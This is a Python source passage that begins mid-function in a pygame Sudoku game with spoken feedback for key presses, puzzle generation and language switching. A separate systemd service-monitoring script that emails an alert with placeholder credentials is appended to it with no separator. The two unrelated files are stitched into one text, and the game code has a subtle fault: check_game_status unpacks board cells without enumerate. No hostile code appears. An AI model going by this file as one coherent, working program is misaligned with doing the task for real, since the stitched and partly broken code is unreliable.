                elif pygame.K_F6 == event.key:
                    self.grid = copy.deepcopy(self.origin)
                    self.board.init_cells(self.grid)
                    self.speech.speak(self.phrases['repeat'])
                elif pygame.K_F9 == event.key:
                    self.change_language()
                elif pygame.K_LEFT == event.key:
                    if not self.game_over:
                        self.player.move(-1, 0)
                elif pygame.K_RIGHT == event.key:
                    if not self.game_over:
                        self.player.move(1, 0)
                elif pygame.K_UP == event.key:
                    if not self.game_over:
                        self.player.move(0, -1)
                elif pygame.K_DOWN == event.key:
                    if not self.game_over:
                        self.player.move(0, 1)
                elif pygame.K_q == event.key:
                    if not self.game_over:
                        row, col = self.player.get_coord_2x()
                        top_x = self.gen.n * (row // self.gen.n)
                        top_y = self.gen.n * (col // self.gen.n)
                        nums = [str(self.grid[x][y]) for x in range(top_x, top_x+self.gen.n) for y in range(top_y, top_y+self.gen.n) if 0 != self.grid[x][y]]
                        self.speech.speak(' '.join(nums))
                elif pygame.K_w == event.key:
                    if not self.game_over:
                        row, col = self.player.get_coord_2x()
                        nums = [str(value) for value in self.grid[row] if 0 != value]
                        self.speech.speak(' '.join(nums))
                elif pygame.K_e == event.key:
                    if not self.game_over:
                        row, col = self.player.get_coord_2x()
                        nums = [str(row[col]) for row in self.grid if 0 != row[col]]
                        self.speech.speak(' '.join(nums))
                elif pygame.K_c == event.key:
                    row, col = self.player.get_coord_2x()
                    self.speech.speak('%s; %s' % (str(col+1), str(row+1)))
                for key, num in self.handle_numbers.items():
                    if getattr(pygame, key) == event.key:
                        if not self.game_over:
                            row, col = self.player.get_coord_2x()
                            self.grid[row][col] = num
                            self.board.cells[self.player.index].set_status(num)
                            self.player.speak()
                            if 0 == num:
                                self.open_cells -= 1
                            else:
                                self.open_cells += 1
                                self.check_game_status()

    def draw(self):
        """Main draw function."""
        self.screen.fill(Colors.GRAY)
        self.board.draw()
        if self.game_over:
            if self.win:
                textSurfaceObj = self.fontObj.render(self.phrases['win'], True, Colors.GREEN)
            else:
                textSurfaceObj = self.fontObj.render(self.phrases['game_over'], True, Colors.RED)
            textRectObj = textSurfaceObj.get_rect()
            textRectObj.center = (self.size_x//2, self.size_y//2)
            self.screen.blit(textSurfaceObj, textRectObj)
        else:
            self.player.draw()

    def new_game(self):
        """Start new game."""
        self.speech.speak(self.phrases['new_game'])
        if ('low' == self.difficult) or ('midle' == self.difficult):
            self.speech.speak(self.phrases[self.difficult])
        else:
            self.speech.speak(self.phrases['hard'])
        self.game_over = False
        self.create_sudoku()
        self.player.index = 0
        self.player.speak()

    def help(self):
        """Speak help for keys control game."""
        file_name = 'help_' + self.config.get('total', 'language') + '.txt'
        with open(file_name, 'r', encoding='utf8') as help_file:
            data = help_file.readlines()
            for line in [line for line in data if '\n' != line]:
                self.speech.speak(line)
                time.sleep(0.1)

    def change_level(self):
        """Change difficult level game."""
        if 'low' == self.difficult:
            self.config.set('board', 'difficult', 'midle')
        elif 'midle' == self.difficult:
            self.config.set('board', 'difficult', 'hard')
        elif 'hard' == self.difficult:
            self.config.set('board', 'difficult', 'low')
        self.difficult = self.config.get('board', 'difficult')
        self.speech.speak(self.phrases[self.difficult])
        with open('settings.ini', 'w') as config_file:
            self.config.write(config_file)

    def change_language(self):
        """Change language for phrases."""
        if 'ru' == self.config.get('total', 'language'):
            self.config.set('total', 'language', 'en')
            with open('languages.dat', 'rb') as lang_file:
                self.phrases = pickle.load(lang_file)['en']
        else:
            self.config.set('total', 'language', 'ru')
            with open('languages.dat', 'rb') as lang_file:
                self.phrases = pickle.load(lang_file)['ru']
        self.player.phrases = self.phrases
        self.speech.speak(self.phrases['language'])
        with open('settings.ini', 'w') as config_file:
            self.config.write(config_file)

    def create_sudoku(self):
        """Generate and check sudoku."""
        self.origin = self.gen.get_grid_2x(self.gen.mix(self.gen.get_base_grid()))
        self.grid = copy.deepcopy(self.origin)
        flook = [[False for j in range(self.gen.size)] for i in range(self.gen.size)]
        iterator = 0
        self.open_cells = self.gen.n ** 4
        while iterator < self.gen.n ** 4:
            i = random.randrange(self.gen.size)
            j = random.randrange(self.gen.size)
            if not flook[i][j]:
                flook[i][j] = True
                iterator += 1
                temp = self.grid[i][j]
                self.grid[i][j] = 0
                self.open_cells -= 1
                grid_solution = copy.deepcopy(self.grid)
                solutions = 0
                for solution in solve_sudoku((self.gen.n, self.gen.n), grid_solution):
                    solutions += 1
                if 1 != solutions:
                    self.grid[i][j] = temp
                    self.open_cells += 1
                if ('low' == self.difficult) and (self.__LOW == self.open_cells):
                    break
                elif ('midle' == self.difficult) and (self.__MIDLE == self.open_cells):
                    break
        self.board.init_cells(self.grid)

    def check_game_status(self):
        """Check status win or game over."""
        if (self.gen.n ** 4) == self.open_cells:
            self.game_over = True
            result = [self.grid[x][y] == self.origin[x][y] for x in range(self.gen.size) for y in range(self.gen.size)]
            self.win = all(result)
            for index, cell in self.board.cells:
                if not cell.read_only:
                    cell.color = Colors.GREEN if result[index] else Colors.RED


#! /usr/bin/python3

import subprocess
import smtplib
import socket
import sys
from email.mime.text import MIMEText

service = sys.argv[1]
hostname = socket.gethostname()

def send_email():
 msg = MIMEText("Service %s is down!! \nCheck the service %s immediately on host %s!"%(service,service,hostname))
 msg["Subject"] = "SERVICE %s DOWN"%(service.upper())
 msg["From"] = "sender@mail.com"
 msg["To"] = "reciever@mail.com"
 with smtplib.SMTP("example.smtp.com", 587) as server:
  server.ehlo()
  server.starttls()
  server.login("sender@mail.com","PASSWORD")
  server.sendmail("sender@mail.com","reciever@mail.com",msg.as_string())

def check_service():
 p =  subprocess.Popen(["systemctl", "is-active",  service], stdout=subprocess.PIPE)
 output = p.stdout.read().decode("utf-8")
 if "inactive" in output:
  send_email()

check_service()